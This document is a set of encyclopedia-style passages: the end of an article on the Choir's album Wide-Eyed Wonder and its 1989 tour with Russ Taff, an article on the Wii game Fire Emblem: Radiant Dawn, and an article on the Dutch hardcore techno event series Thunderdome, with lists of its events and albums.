Although the Choir had been headlining their own shows since Chase the Kangaroo, the band was given its most significant opportunity to reach a wider Christian audience as the opening act for Russ Taff on his 54-date tour for The Way Home. At that time, Taff was one of the most popular male solo artists in contemporary Christian music, and he consistently played much larger audiences than the Choir ever could reach. Myrrh believed that, even though the Choir was alternative rock, the uptempo nature of the band's new music would connect with an audience coming out to hear Taff's gospel-tinged rock. While the Choir did reach new listeners, the tour didn't expand their audience as much as the label was expecting. In fact, some attendees were highly critical of the band. "The audience overwhelmingly hated us," Hindalong claimed. "You could feel the disdain." Daugherty agreed, and added that, "people would come out and lecture us at our merchandise booth: 'We didn’t preach enough.' There would be a couple of nights where people would get up and literally take their youth group out."
This tension between the band's creative artistry and the expectations of the contemporary Christian music audience soon became a story of its own. Thanks to an aggressive publicist, Hindalong did over 50 interviews with mainstream press during this tour, which generated more feature stories than headliner Taff himself. Much of the attention was focused on the Choir's unease with being tagged with the "Christian rock band" label. However, Hindalong himself was uncomfortable with the lack of nuance to this news coverage: "I would talk for half an hour about our music and what it is about," he recounted. "They would get me to say something about Christian radio or our frustration about being marketed, and that would be the story. I didn't see any press until the end of the tour, and then there's this huge stack and it's all so negative. And I tried so hard to be positive."
This dichotomy was seen even in the vehicles the two artists employed. Taff had a large, silver tour bus typical of a successful recording artist, while the Choir only had a small van. Just prior to the start of the tour, Michaels was driving the van and accidentally ran into a cow on the freeway late at night, which caused considerable damage to the front end. The Choir would deliberately park their busted-up van right next to Taff's tour bus just for the irony.
At the end of the tour, the Choir announced that this would be their last time opening for a mainstream contemporary Christian artist.
2017 Anniversary tour
In October 2016, the Choir announced that the original Wide-Eyed Wonder-era line-up with Spurs would reunite and tour in the spring of 2017, performing the album in its entirety, along with selected tracks from the Choir's most recent albums.
Response
Critical reaction
Wide-Eyed Wonder was positively received by critics at the time, with the band receiving a number of end-of-year accolades from a variety of Christian publications, most notably, CCM Magazine. Wide-Eyed Wonder was the lead review in the April 1989 issue, as writer Chris Willman called the Choir "the best rock band in Christian music," adding that the album was "more cohesive than its predecessor." He highlighted the more commercial sound of Wide-Eyed Wonder, saying that "virtually everything on Side One is instantly radio-ready pop-rock; all that 'accessibility' gently leads you by the hand to Side Two, which gets a bit softer and weirder around the edges." He concluded that Christian “radio and retail would be well-advised to catch onto the group now, while it's in such a contagiously life-affirming mood."
Retrospectively, the album has also received praise. John Joseph Thompson in Raised by Wolves: The Story of Christian Rock & Roll credited this album for bringing "increased romance and vulnerability to the band’s style." Mark Allender at AllMusic wrote that the Choir "began to receive some of the attention they deserved" with this album, which he described as "more dense than the previous year's Chase the Kangaroo, and in many ways more accessible." However, he criticized the inclusion of the Harrison cover as "surprising – and a little off-putting." Other critics opted to highlight individual songs on the album. Barry Alfonso, writing in The Billboard Guide to Contemporary Christian Music, said that "the rapturous title track and the confessional 'Someone to Hold on To' were among Wide-Eyed Wonders standout tracks." Mark Allan Powell in the Encyclopedia of Contemporary Christian Music agreed, writing that "the album bursts into full bloom with 'Someone to Hold On To,'" and that the "atypical novelty tune 'Car, Etc.'" sounds like "something the Beach Boys would have done."
Accolades
CCM Magazine
Best Alternative Album
Best Alternative Rock Band
Best Long Form Video
#5 Favorite Song ("Someone to Hold on To")
Campus Life
Editor's Choice of Excellence
Harvest Rock Syndicate
Artist of the Year
Group of the Year
Best Alternative Album
Drummer of the Year (Steve Hindalong)
Group
Top Seven Albums of 1989
Track listing
All songs written by Steve Hindalong and Derri Daugherty except where noted.
Personnel
The Choir
Derri Daugherty – lead vocals, guitars
Steve Hindalong – drums, percussion
Robin Spurs – bass guitar, vocals
Dan Michaels – saxophone, Lyricon
Additional musicians
Greg Lawless – guitar solo ("Spin You Around")
Mark Heard – bass guitar and autoharp ("Behind That Locked Door"), background vocals ("Someone to Hold on To", "When She Sees Me", "Behind That Locked Door")
Gene Eugene – background vocals ("Spin You Around")
Riki Michele – background vocals ("Spin You Around")
Marc Sercomb – background vocals ("Car, Etc.," "Car, Cont.")
Nancy Hindalong – background vocals ("Car, Etc.")
Emily Hindalong – background vocals ("Car, Etc.")
"Squeaky Bear" – background vocals ("Car, Etc.")
Dave Hackbarth – background vocals ("Car, Etc.")
Orlando Conchola – background vocals ("Car, Etc.")
Production
Tom Willett – executive producer
Todd Goodman – executive producer (2017 remaster)
Steve Hindalong – producer
Derri Daugherty – producer
Mark Heard – producer ("Wide-Eyed Wonder" and "Behind That Locked Door"), additional production, mixing at Neverland Studios, Los Alamitos, California
Dave Hackbarth – additional production, recording
Steve Hall – mastering (Future Disc)
John Flynn – design (F2 Design)
Linda Myers-Krikorian – photography
Paul Emery — manager
Nigel Palmer – 2017 remastering (Lowland Masters)
Steve Broderson – 2017 design (Cruxial Creative)
References
Footnotes
Bibliography
External links
1989 albums
The Choir (alternative rock band) albums
A&M Records albums
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https://en.wikipedia.org/wiki/Fire%20Emblem%3A%20Radiant%20Dawn
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Fire Emblem: Radiant Dawn
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Fire Emblem: Radiant Dawn is a tactical role-playing game developed by Intelligent Systems and published by Nintendo for the Wii home console. It is the tenth entry in the Fire Emblem series, and acts as a direct sequel to the 2005 GameCube title Fire Emblem: Path of Radiance. It was released in 2007 in Japan and North America, and 2008 in Europe and Australia.
Radiant Dawn's plot begins in the war-torn nation of Daein with the main character Micaiah and her allies, the Dawn Brigade, rebelling against the oppressive Begnion Occupational Army. The story is divided into four parts, and changes perspective between different factions within the continent of Tellius. The gameplay is similar to Path of Radiance and previous Fire Emblem titles, with units moving across a grid-based map in turn-based battles, and characters unrelated to the core plot being subject to permanent death if defeated.
Radiant Dawn began development in 2005 for the Wii after the success of Path of Radiance. Continuing the trend of developing for home consoles after a period on portable devices, it was intended to be released close to the Wii hardware's release so as to boost sales for both game and hardware. Radiant Dawn received generally positive reviews, with critics praising the core gameplay, with some criticism directed at the game's lack of motion controls and high difficulty and the changes to support conversations received negative reception.
Gameplay
Radiant Dawn retains the gameplay mechanics of Fire Emblem: Path of Radiance, with turn-based battles taking place on a square-based grid. Most of the Path of Radiance cast returns, including all of its playable characters (except Largo), as well as figures new to Tellius. Data from a completed Path of Radiance save file can be transferred to Radiant Dawn via a Nintendo GameCube memory card, which can lead to characters obtaining statistical gains. Support conversations from Path of Radiance can also be accessed and viewed using this method. In Radiant Dawn, the "support" system has been altered so that a unit can support any other unit, although units can only have one support relationship each. A secondary support known as a "bond" is also available, which is active by default or obtained when two units have attained an "A" support level in Path of Radiance.
Radiant Dawns multifaceted plot and lack of a permanent main character leads to the player controlling different factions in the game. In the later stages of the game, the player's units will battle against a previously playable set of enemy units; despite the "permanent death" feature common to the Fire Emblem series, some partner units and previously playable enemy units defeated in battle will still be playable later in the game. Radiant Dawn introduced new features relating to unit development, such as double promotion for beorcs, which grants the unit a special skill dependent on the unit's class. New features have also been added to the laguz units, including a maximum level increased to 40, the ability to fight untransformed, and the presence of the wolf laguz.
There are also modifications to combat, including an elevation advantage which grants units at a greater altitude with more power and accuracy. Radiant Dawn introduces the highest level of weaponry, known as "SS", which requires a unit to have used a particular weapon type many times. In previous Fire Emblem games, archers could not attack adjacent units, but the crossbow, as well as a few other bows, allows such units to attack both adjacent and distant units. Dark magic, omitted from Path of Radiance but present in earlier games, was reintroduced to form a second magical trinity (akin to the rock-paper-scissors system) alongside the one in Path of Radiance: Dark Magic is strong against Anima Magic (fire, lightning, and wind), Anima is strong against Light magic, and Light Magic is strong against Dark Magic.
Plot
Radiant Dawn is divided into four parts, each of which begins with a prologue chapter that introduces the situation, followed by a series of chapters that is resolved with an "Endgame" chapter.
Three years after the Mad King's War, detailed in Path of Radiance, Daein, the war's instigator and eventual loser, and the victorious nation Crimea are still in the process of rebuilding. Although Crimea is ruled by Queen Elincia, Daein lacks a proper successor and is instead ruled by the corrupt and oppressive occupation forces of the Begnion Empire. A group of Daein rebels named the Dawn Brigade, headed by Micaiah and Sothe, act as vigilantes to provide some measure of hope against the oppressors. After being driven from the capital, the Dawn Brigade flees into the northern desert. There they encounter the heron prince Rafiel and the wolf laguz queen Nailah, whose people have not been seen in Tellius for millennia. Soon after, the Dawn Brigade locates and allies with the late King Ashnard's orphan son Pelleas, his scheming and ruthless adviser Izuka, and the former general of Daein known as the Black Knight. The group launches a guerrilla war against the occupation army, liberating former soldiers of Daein from prison camps and gaining the loyalty of the people. Micaiah's efforts become legendary during these campaigns, with the people of Daein dubbing her the "Silver-Haired Maiden." Word of the plight of the Daein people eventually reaches Empress Sanaki of Begnion, who sends her trusted advisor Sephiran to Daein to reign in the occupation army. The senate disavows and scapegoats occupation leader General Jarod, who is overthrown and killed by the liberation army in an assault on the capital. Unbeknownst to them all, Izuka tricks Pelleas into signing a contract known as a blood pact with the head of the Begnion senate, Lekain, which will kill increasingly large numbers of Daein citizens when triggered.
Word of Pelleas' ascension reaches Crimea, and Queen Elincia's recognition of Pelleas as Daein's rightful ruler outrages the Crimean nobility. Fear that Crimea's hated enemy is rebuilding creates discontent throughout all levels of Crimean society. A Crimean noble named Ludveck takes advantage of the tension to organize a rebellion in order to claim Crimea for himself. Alerted to Ludveck's plan, the Crimean Royal Knights attack and capture Ludveck's castle. However, this is a diversion, and Ludveck's troops lay siege Elincia's castle, but they are repelled and Ludveck is captured. He attempts to force Elincia to release him by holding her friend Lucia hostage, but she is rescued by Ike and the Greil Mercenaries. Before Ike leaves, Elincia reveals the Black Knight's return in Daein.
When Ike returns to his headquarters, he is hired by the Laguz Alliance, consisting of the hawk nation of Pheonicis, the raven nation of Kilvas, and the beast nation of Gallia. Their representative, Ranulf, explains that Rafiel has revealed that the Begnion senate was responsible for assassinating the previous apostle of Begnion and framing the heron clans for it, resulting in their near annihilation. This has led to the Laguz Alliance declaring war on Begnion. Ike leads the Alliance into battle against the Begnion forces, commanded by the veteran general Zelgius. The situation quickly escalates, threatening to become a world war that will awaken the god of chaos Yune who will supposedly destroy the world. Begnion coerces Daein into joining the war on their side with the blood pact and uses another blood pact to force Kilvas to betray the Laguz Alliance. Pelleas asks Micaiah to kill him to free Daein from the blood pact, but even if she does, it simply results in the blood pact transferring to her. Nailah and Prince Kurthnaga of the dragon nation of Goldoa learn of Daein's plight and also side with them. Meanwhile, Begnion begins raiding Crimean villages for supplies, drawing Crimea into the conflict on the Laguz Alliance's side, and Empress Sanaki escapes the senate's clutches and joins the Alliance along with the faction of Begnion soldiers loyal to her. A massive battle ensues, and the chaos begins to awaken Yune; Micaiah is forced to prematurely awaken her with the galdr of release. Yune's awakening also awakens the goddess of order Ashera.
As punishment for bringing the world into chaos, Ashera subsequently petrifies Tellius; only the most powerful warriors and human-laguz half-breeds survive. She decides that humankind is unworthy of survival and must be eradicated, and recruits the Begnion senate to this end. Guided by Yune, who sides with humanity, Ike, Micaiah, and King Tibarn of Pheonicis lead three groups in an assault on the Tower of Guidance where Ashera lies. Their journey brings about several revelations about the world and the previous conflicts. Ranulf reveals that the Black Knight's true identity is Zelgius; if Pelleas survived, Izuka reveals that he was not Ashnard's son, but an unwitting dupe used to place Daein further under Begnion's thumb; Yune reveals that the old claim that human-laguz half-breeds are a crime against the goddess and the subsequent persecution against them are based on a lie. In the Tower of Guidance, the group kills the corrupt Begnion senators and frees Daein and Kilvas from the blood pacts while Ike defeats Zelgius in a duel to the death. At the entrance to Ashera's chambers, the group encounters Sephiran, who reveals himself to be the ancient heron Lehran. Sephiran admits that the massacre of the heron clans destroyed his faith in humanity, and that he has since engineered both the Mad King's War and the Laguz-Begnion conflict in order to destroy the world. After defeating him, Yune empowers Ike with godlike power, and he defeats Ashera and restores peace to Tellius.
In the aftermath, Micaiah learns that she is Sanaki's long-lost and presumed-dead older sister, but leaves to take the throne of Daein with the approval of Pelleas (if he survived) and the Daein citizenry. Ike departs the continent and is never seen again. Hundreds of years later, Yune and Ashera combine to again become the goddess Ashunera, creator of Tellius. On a second playthrough onward, Lehran can be spared and redeemed; in this case, he greets Ashunera and reveals that the continent is once again about to go to war, and Ashunera resolves to protect the people.
Development
By 2005, when Radiant Dawns predecessor Path of Radiance was released, the Fire Emblem series had successfully established itself overseas first with the release of Fire Emblem for the Game Boy Advance and then Path of Radiance for the GameCube. The developers at Intelligent Systems wanted to continue the story of Path of Radiance on home consoles, but they decided not to release it on the Gamecube as it was becoming a redundant system. Instead, as they had seen the Fire Emblem series' ability to sell hardware, they chose to develop the next title for the then-in-development Wii. Development began in May 2005, the same time the Wii was first announced under its codename "Revolution". The reason development began so early was because they wanted to release Radiant Dawn as close as possible to the console's release, so it would boost both hardware and software sales: this was the first time in the series' history the developers had attempted anything like that. They also decided to make it a Wii exclusive rather than making versions for both Wii and Gamecube. This in turn coincided with the decision to keep the series on home consoles rather than developing for the new portable Nintendo DS after its absence from them between the releases of Path of Radiance and Fire Emblem: Thracia 776. The Wii's motion controls options were not implemented into the gameplay as it felt unnecessary to the design. Wi-Fi compatibility had been considered, with features such as downloadable battle maps and units, although difficulties relating to balance and difficulty prevented the idea from developing. Radiant Dawn would be the last mainline Fire Emblem title released for a Nintendo home console until the release of Fire Emblem: Three Houses for the Nintendo Switch in 2019.
As with the previous game, the CGI cutscenes were created by Digital Frontier. The staff numbers, including those working on the cutscenes, went from around one hundred for Path of Radiance to around 200 for Radiant Dawn: half the staff worked on the game itself, while the other half worked on the cutscenes. For the cutscenes, Digital Frontier were asked to show a more epic scope rather than just focusing on the characters, a trend from Path of Radiance the developers felt was wrong. All of the character movements in cutscenes were mapped using motion capture, with between 100 and 150 animations per character to implement.
The scenario was a continuation of the narrative of Path of Radiance, even though that game was not given an intentional cliffhanger ending. So the story would be comprehensible for people who had not played Path of Radiance, the story was split up into four segments divided between the game's various factions. The team initially thought of a three-part structure, then settled on the current format. Their aim from the beginning was to create a large-scale, intricate world for players to enjoy. It was the first time the developers had incorporated such a structure into a Fire Emblem game. The dialogue for characters was made slightly rougher based on feedback from Path of Radiance, where character dialogue remained calm and cultured even in battle situations. The total number of characters increased by approximately 1.5 times compared to Path of Radiance. So players could keep track of how characters interacted with each other, the team introduced a character relationship flow chart. The game's Japanese subtitle made reference to both a key character and the way Tellius came to be. They also wanted to continue to portray the themes of conflict explored in Path of Radiance. The game's thematic color, expressed in its artwork and presentation, was red, as opposed to the use of blue in Path of Radiance. Senri Kita, the character designer for Path of Radiance, returned in that capacity for Radiant Dawn.
Reception
Radiant Dawn holds a score of 78/100 on the review aggregator Metacritic, indicating generally favorable reviews. GameSpot's Lark Anderson noted that, although players can save mid-battle, the difficulty "will easily overwhelm even experienced tacticians." Eurogamer's Keza MacDonald appreciated the depth and refinement of the game, but proceeded to note a lack of accessibility due to greater complication and difficulty as Radiant Dawn progresses. Some reviewers were also critical of the developers' choice not to use the Wii's motion controls, although RPGamer's Bryan Boulette commented that "the game thankfully delivers a traditional experience that isn't changed just for the sake of changing it." In general, critics praised the gameplay system recognized in previous Fire Emblem games, but noted that the game felt too similar to its GameCube predecessor, with ONMs Chandra Nair commenting that Radiant Dawn has "refused to move forward." Hyper'''s Yuri Spadeface commends the game for its "deep strategy and for being hard". However, he criticises it for being "unforgiving", noting that it features "permanent death and is not really a Wii game".
Reviewers praised refinements of gameplay aspects present in Path of Radiance, such as the weapon forging system, which ONM thought was simpler to control in Radiant Dawn. Despite this, other changes, such as those to the support system, were not as welcome, with GameSpot commenting that support conversations "have been reduced to mere battlefield chatter." 1UP's Michael Donahoe praised the game's length and range of characters, but stated that the laguz "still aren't very useful." Although Fire Emblem games have been praised for their plot and characterisation in the past, GameSpot described the story as "laughable" and the game's villains as clichéd and "one-dimensional." Conversely, RPGamer lauded the alterations in perspective by use of different protagonists, which Boulette felt "makes the overall story feel so much broader and more expansive in scope."
The game's presentation received a mixed response, with IGN's Mark Bozon lauding the use of FMV and accompanying voice acting, although he commented that these were too infrequent, and that voice acting should have been used for the entirety of the game. The game's music received a positive response, with GameSpy crediting the work of series composer Yuka Tsujiyoko as "Remarkably good." However, multiple reviewers noted that the game's visuals were very similar to its predecessor's, with GameSpot rating them as "little to no improvement graphically" from Path of Radiance. GameSpy noted that the game's visuals "aren't mindblowing," but welcomed Radiant Dawns interface and camera, stating that "A strategy game should often focus on function before form, but Radiant Dawn nails both."
Notes
References
External links
(archived)Fire Emblem: Akatsuki no Megami'' at Nintendo of Japan
2007 video games
Apocalyptic video games
Fiction about deicide
Radiant Dawn
Genocide in fiction
Tactical role-playing video games
Video games developed in Japan
Video games featuring female protagonists
Video game sequels
Video games about magic
Video games about shapeshifting
Wii games
Wii-only games
Single-player video games
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https://en.wikipedia.org/wiki/Thunderdome%20%28music%20festival%29
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Thunderdome (music festival)
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Thunderdome is a famous concept in hardcore techno and gabber music that was mainly used for a series of parties and CD-albums. It was organized by the Dutch entertainment company ID&T. The first party was organized in 1992 and the party held in December 2012 was advertised as being the end of Thunderdome. However, after the 2012 event, the party was brought back in 2017 for the 25th anniversary with a 2019 edition announced the following year. In 2022, Thunderdome celebrated its 30th anniversary at the Jaarbeurs convention centre, Utrecht.
History
Before the Thunderdome concept was started, ID&T organized a big rave called The Final Exam, that was held on 20 June 1992. This was the first attempt to bring hardcore and gabber to a wide audience and the first event organized by ID&T, who would later go on to organize other big dance music events such as Tomorrowland, Mysteryland, and Sensation White, and Black. Later in 1992, they organized the first Thunderdome party, which was simply titled The Thunder Dome, which was held on 3 October 1992 in Heerenveen.
In 1993, ID&T / Arcade Records also started a Thunderdome compilation CD-series with popular gabber music. ID&T also sold other kinds of merchandise such as T-shirts, bomber-jackets, caps and even an energy drink (Thundertaste). The Thunderdome concept was considered important to the popularization and spreading of gabber music during the 1990s. Though it was the biggest and most popular concept in the scene through most of the 1990s, that title is now being rivaled by other events, such as the ones organized by Masters of Hardcore.
In late 1999 ID&T took a break from the Thunderdome concept and stopped producing the parties and CDs. The break lasted until 2001, when they resumed throwing parties and producing CDs. After the restart, one or two parties each year were held. In 2002, the concept for the party was the 10th anniversary of Thunderdome. A CD that was recorded live at the party and an anniversary DVD were released, both entitled Thunderdome: a Decade. In 2007, the 3-CD set XV: 15 Years Of Thunderdome was released in celebration of Thunderdome's 15th anniversary.
The December 2012 event was advertised as being the end of Thunderdome. An anniversary compilation album was also released. A press release for this album announced that: "It all comes full circle now. It’s time to let Thunderdome become what it always has been: a legend."
On 3 November 2015, ID&T announced that while the Thunderdome concept was retired, they introduced a new similar event called "Thunderdome Die Hard Day" due to massive demand. The event took place on 5 December 2015. On 3 October 2016, the 24th anniversary of the first edition of Thunderdome, ID&T announced a second Die Hard Day event to take place on 3 December 2016 at the Warehouse Elementenstraat in Amsterdam.
At the Dominator Festival on 16 July 2016, a plane with a banner that read "25 Years of Thunderdome - See You in 2017" was seen flying over the festival grounds. The official Thunderdome Facebook page then uploaded a post that read "See you in 2017," which confirmed rumours about a 25th anniversary edition of Thunderdome. After Die Hard Day II, ID&T announced that the third edition would not happen in 2017 due to their preparations for the 25th anniversary edition of Thunderdome. Instead, Die Hard Day III was held on 27 October 2018, again at the Warehouse Elementenstraat.
On 17 February 2017, ID&T released the trailer for the 25th anniversary of Thunderdome, which took place on 28 October 2017 at Jaarbeurs Utrecht.
On 24 July 2018, a plane flew over the festival grounds at the Dominator Festival again, similar to the 2016 festival, with a banner that read "Thunderdome - See you in 2019." This was then followed up with an official trailer uploaded to Thunderdome's official YouTube channel on 30 January 2019, stating that the 2019 edition would take place at Jaarbeurs Utrecht on 26 October 2019.
On 14 October 2019, during the lead-up to the 2019 edition, Thunderdome released a trailer on their YouTube channel about an upcoming documentary titled Thunderdome Never Dies - The Full Story. The 82-minute documentary, produced in conjunction with Deep Thought Productions and 2CFilm, details the history and impact of Thunderdome, including its origins. The documentary was released in theatres in the Netherlands on 14 November 2019.
On 8 September 2021, Thunderdome released a short 10-second teaser on their official YouTube channel announcing the 2021 edition of Thunderdome, due to take place on 11 December 2021 at Jaarbeurs Utrecht. A full 1-minute trailer was released on 6 October. This edition was subsequently postponed due to special event rules in the Netherlands following the COVID-19 pandemic. Instead, it will take place on 10 December 2022 at Jaarbeurs Utrecht, now due to celebrate the 30th anniversary of Thunderdome. An updated trailed was released on 10 August 2022.
Events
In The Netherlands
The Final Exam - 20 June 1992
Thunderdome I - Thialf in Heerenveen - 3 October 1992
Thunderdome II - Frieslandhallen in Leeuwarden - 13 February 1993
Thunderdome III - Statenhal in Den Haag - 13 March 1993
Thunderdome IV - Thialf in Heerenveen - 3 April 1993
Thunderdome V - 'The Final Thunderdome' Martinihal in Groningen - 8 May 1993
Thunderdome - Martinihal in Groningen - 9 October 1993
Thunderdome - Jaarbeurs in Utrecht - 27 November 1993
Thunderdome Meets Multigroove - Amsterdam - 25 April 1995
Thunderdome vs. Hellraiser - Amsterdam - 26 August 1995
Thunderdome - '96 'Dance Or Die!' Fec Expo in Leeuwarden - 20 April 1996
Thunderdome @ Mysteryland - Jaarbeurs Utrecht - 22 February 1997
Thunderdome @ Mysteryland- Bussloo - 4 July 1997
Thunderdome Eastern Edition - Expo Center Hengelo - 29 November 1997
Thunderdome - Fec Expo Leeuwarden - 28 November 1998
Thunderdome - Thialf Heerenveen - 2 October 1999
Thunderdome - Heineken Music Hall Amsterdam - 25 August 2001
Thunderdome - Amsterdam RAI - 12 October 2002 [Thunderdome a Decade]
Thunderdome - Jaarbeurs Utrecht - 25 October 2003
Thunderdome - Jaarbeurs Utrecht - 4 December 2004
Thunderdome - Jaarbeurs Utrecht - 3 December 2005
Thunderdome - Jaarbeurs Utrecht - 2 December 2006
Thunderdome - Amsterdam RAI - 15 December 2007 [Thunderdome XV]
Thunderdome - Payback Time - Heineken Music Hall Amsterdam - 24 May 2008
Thunderdome - Jaarbeurs Utrecht - 20 December 2008
Thunderdome - Fight Night - Heineken Music Hall Amsterdam - 23 May 2009
Thunderdome - Alles naar de kl#te - Jaarbeurs Utrecht 19 December 2009
Thunderdome - Breaking Barriers - Jaarbeurs Utrecht - 18 December 2010
Thunderdome - Toxic Hotel - Jaarbeurs Utrecht - 17 December 2011
Thunderdome - The Final Exam - Amsterdam RAI - 15 December 2012
Thunderdome @ Mysteryland - Floriade - Haarlemmermeer - 26 & 27 August 2017
Thunderdome 25 - Jaarbeurs Utrecht - 28 October 2017
Thunderdome - 'An ode to Gabber' Jaarbeurs Utrecht - 26 October 2019
Thunderdome - 'We Are Slaves to the Rave' Jaarbeurs Utrecht - 10 December 2022
In other countries
Thunderdome @ Planet Hardcore - Dendermonde - Belgium - 3 April 1994
Thunderdome - Keulen Sporthalle Köln in Cologne, Germany - 11 July 1994
Thunderdome @ Extreme - Affligem - Belgium - 16 December 1994
Thunderdome - Oberhausen in Revierpark in Ruhr, Germany - 13 May 1995
Thunderdome - Palau Vall D'Hebron in Barcelona, Spain - 23 June 1995
Thunderdome - Midland Railway Workshops in Perth, Australia - 1 October 1995
Thunderdome @ Club X - Wuustwezel - Belgium - 13 September 1996
Thunderdome'96 Part 2 - Sportpaleis in Antwerpen, Belgium - 16 November 1996
Thunderdome'97 - Sportpaleis in Antwerpen, Belgium - 23 March 1997
Thunderdome in Italy - Number One, Corte Franca (BS), Italy - 7 September 1997
Global Hardcore Nation - Sportpaleis in Antwerpen, Belgium - 18 October 1997
Thunderdome @ Cherry Moon - Lokeren - Belgium - 31 October 1997
Global Hardcore Nation: The Cosmic Journey - Sportpaleis in Antwerpen, Belgium - 7 February 1998
Global Hardcore Nation - Tomorrowland in Boom, Belgium - 21 July 2017
Albums
The Thunderdome CD-series began in 1993. Originally the CD-albums were released by Arcade Records. According to ID&T and Arcade "more than 1.500.000 Thunderdome albums" had been sold worldwide by 1995. In 2000 no album was released since ID&T took a break from the Thunderdome concept. From 2001 onwards the albums were released by ID&T's own record label, and from 2004 onwards by Universal In 2008 the series was handed over to Dance-Tunes.
The last Thunderdome compilation album is named "High Voltage", and was released on 2 October 2020.
In 1998 there was an attempt to launch a separate Thunderdome series in the US under the Arcade America label, but only one album was released.
Main series
Thunderdome - F*ck Mellow This Is Hardcore From Hell (1993)
Thunderdome II - Back From Hell! (Judgement Day) (1993)
Thunderdome III - The Nightmare Is Back (1993) reached number 4 in the Swiss Music Charts for compilations
Thunderdome IV - The Devil's Last Wish (1993) reached number 3 in the Austrian Music Charts for compilations and number 4 in the Swiss Music Charts for compilations
Thunderdome V - The Fifth Nightmare (1994) reached number 5 in the Austrian music charts for compilations and number 4 in the Swiss compilation charts
Thunderdome VI - From Hell To Earth (1994) reached number 9 in the Swiss compilation charts
Thunderdome VII - Injected With Poison (1994) reached number 8 in the Swiss compilation charts
Thunderdome VIII - The Devil In Disguise (1995) reached number 6 in the Swiss compilation charts
Thunderdome IX - Revenge Of The Mummy (1995) reached number 6 in the Austrian compilation charts and number 4 in the Swiss compilation charts
Thunderdome X - Sucking For Blood (1995) peaked at number 6 in the Austrian compilation charts and number 5 in the Swiss charts
Thunderdome XI - The Killing Playground (1995) peaked at number 7 in the Austrian compilation charts and number 6 in the Swiss compilation charts
Thunderdome XII - Caught In The Web Of Death (1996) peaked at number 5 in the Austrian compilation charts and number 4 in the Swiss compilation charts
Thunderdome XIII - The Joke's On You (1996) peaked at number 6 in the Swiss compilation charts
Thunderdome XIV - Death Becomes You (1996) peaked at number 8 in the Swiss compilation charts
Thunderdome XV - The Howling Nightmare (1996) Reached number 63 in the Dutch Top 100 Albums
Thunderdome XVI - The Galactic Cyberdeath (1997)
Thunderdome XVII - Messenger Of Death (1997)
Thunderdome XVIII - Psycho Silence (1997)
Thunderdome XIX - Cursed By Evil Sickness (1997)
Thunderdome XX (1998)
Thunderdome XXI (1998)
Thunderdome XXII (1998)
Thunderdome - Hardcore Rules The World (1999)
Thunderdome - Past, Present, Future (1999)
Thunderdome 2001 a.k.a. Harder Than Hard (2001)
Thunderdome 2001 Part 2 (2001)
Thunderdome 2002 (2002)
Thunderdome 2003 Part 1 (2003)
Thunderdome 2003 Part 2 (2003)
Thunderdome 2nd Gen Part 1 (2004)
Thunderdome 2005-1 (2005)
Thunderdome 2006 (2006)
Thunderdome 2007 (2007)
Thunderdome XV (2008) Highest placement in the Dutch Compilation Top 30: 5
Thunderdome (2008) Highest placement in the Dutch Compilation Top 30: 8
Thunderdome Fight Night (2009) Highest placement in the Dutch Compilation Top 30: 14
Thunderdome - Alles naar de klote (2009) Highest placement in the Dutch Compilation Top 30: 11
Thunderdome - Pure and Powerful Hardcore (2010) Highest place in the Dutch Compilation Top 30: 9
Thunderdome - Toxic Hotel (2011) Highest place in the Dutch Compilation Top 30: 8
Thunderdome - The Final Exam - 20 Years Of Hardcore (2012) Highest place in the Dutch Compilation Top 30: 3
Special CDs
Thunderdome (DREAMTEAM Productions / DURECO 1158012)
Thunderdome (TOTAL RECALL RECORDS) / Distributed by: SPV GmbH (Germany), ECHO MUSIC (Austria), TBA S.A. (Switzerland)
Thunderdome - The Megamix Of Thunderdome 1-5! (1994) reached number 5 in the Austrian Music Charts for compilations
Thunderdome - The X-mas Edition (1994)
Thunderdome - Hardcore Will Never Die (The Best Of) (1995) reached number 10 in the Swiss Music Charts for compilations
Thunderdome Australian Tour Vol 1 - Thunder Downunder (1995)
Thunderdome '96 - Dance Or Die! (Live Recorded at FEC-Expo Center Leeuwarden 20.04.96) (1996) reached number 9 in the Swiss Music Charts for compilations
Thunderdome - The Best Of (1996)
Thunderdome '97 (1997)
Thunderdome - The Best Of '97 (1997)
Thunderdome Live Presents Global Hardcore Nation (1997)
Thunderdome Live - Recorded at Mystery Land The 4th of July 1998 (1998)
Thunderdome - The Best Of '98 (1998)
Thunderdome - The Essential '92-'99 Collection (1999)
Thunderdome - A Decade Live (2002)
Thunderdome Turntablized : Mixed by Unexist (2004)
Thunderdome: Die Hard (2015)
Thunderdome: Die Hard II (2016)
Thunderdome - 25 Years of Hardcore (2017)
Thunderdome: Die Hard III (2018)
Thunderdome - An Ode to Gabber (2019)
Vinyl releases
The Dreamteam - Thunderdome (Dreamteam Productions)
Thunderdome III (Arcade)
Thunderdome - The Fuckin Megamix
DJ Dano - Thunderdome IV4 EP (Dreamteam Productions)
F. Salee - Thunderdome IV EP (Dreamteam Productions)
DJ Buzz Fuzz - Thunderdome IV4 EP (Dreamteam Productions)
The Prophet - Thunderdome IV EP (Dreamteam Productions)
The Dreamteam - Thunderdome Remix EP (Dreamteam Productions)
Thunderdome IV4 The Megamixes (Total Recall)
Thunderdome IV The Megamixes -Picture Disc- (Total Recall)
Thunderdome V The Megamixes (Total Recall)
Thunderdome VI Sampler (ID&T Records)
Thunderdome VI Megamix (ID&T Records)
Thunderdome VII Sampler (ID&T Records)
Thunderdome VII Megamix (ID&T Records)
Thunderdome Winter Experience (ID&T Records)
Thunderdome VIII Sampler (ID&T Records)
Thunderdome VIIII Sampler (ID&T Records)
Thunderdome IX Sampler (ID&T Records)
Thunderdome X Sampler (ID&T Records)
Thunderdome The Unreleased Projects (ID&T Records)
Thunderdome '96 - The Thunder Anthems (ID&T Records)
Thunderdome '98 - Hardcore Rules The World (ID&T Records)
Korsakoff - The Powerrave Experience (Stardom - Thunderdome 2004 Anthem) (Pro Artist Management)
Thunderdome 2006 (Thunderdome Records)
Promo & MC Drokz - Thunderdome 2007 Anthem / 3 Steps Ahead - Remember Remixes (The Third Movement)
DJ Mad Dog & MC Justice - Payback Time (The Official Thunderdome Anthem) (Traxtorm Records)
Endymion & Nosferatu - Act Of God (Thunderdome 08 Anthem) (Thunderdome Records)
Thunderdome Fight Night: The Thunderdome Fight Night Anthems 2009 (Thunderdome Records)
Reception
When the first Thunderdome album was re-released in 2010, Ben Martijn (a new member of Party Animals) wrote a favorable review on the FOK! website closing with the words "[the album is] full of history and indispensable in the collection of a real hardcore fan!"
Allmusic gave Thunderdome: The Best of '98 3/5 stars.
Songs that make references to Thunderdome
Because of the popularity of the Thunderdome concept, some artists have made tributes to it in their songs. These are some examples:
